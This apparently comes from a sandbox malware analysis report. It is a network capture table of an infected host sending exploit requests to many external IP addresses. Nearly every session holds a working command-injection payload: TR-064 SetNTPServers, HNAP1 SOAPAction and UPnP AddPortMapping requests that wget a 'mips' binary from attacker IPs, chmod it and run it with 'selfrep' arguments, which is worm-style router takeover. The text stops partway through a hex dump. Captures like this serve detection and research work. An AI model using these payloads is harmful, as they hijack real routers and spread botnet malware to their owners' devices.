387	192.168.2.13	48302	211.52.55.208	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.600240946 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.13	47402	190.192.121.245	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.606683016 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.13	36816	181.221.55.205	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.638674974 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.13	45666	164.249.148.120	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.643337011 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.13	37680	52.170.98.12	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.651390076 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.13	56028	85.216.176.48	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.656071901 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.13	44934	213.5.110.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.671264887 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:46.045731068 CEST	190	IN	HTTP/1.1 404 Not Found Date: MON APR 15 09:52:45 2024 Server: cwmp server Connection: close Content-Length: 14 Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.13	48354	211.52.55.208	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.886375904 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.13	47458	190.192.121.245	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.902684927 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.13	41350	71.218.231.169	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.915404081 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:46.106529951 CEST	113	IN	HTTP/1.1 400 Bad Request Date: Mon 15 Apr 2024 06:52:46 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.13	34398	103.147.141.62	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.937262058 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.13	36870	181.221.55.205	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.979820013 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.13	56086	85.216.176.48	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.000238895 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.13	44992	213.5.110.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.025738001 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:46.387732029 CEST	190	IN	HTTP/1.1 404 Not Found Date: MON APR 15 09:52:46 2024 Server: cwmp server Connection: close Content-Length: 14 Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.13	40592	164.155.149.130	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.056188107 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:46.912501097 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:47.936443090 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 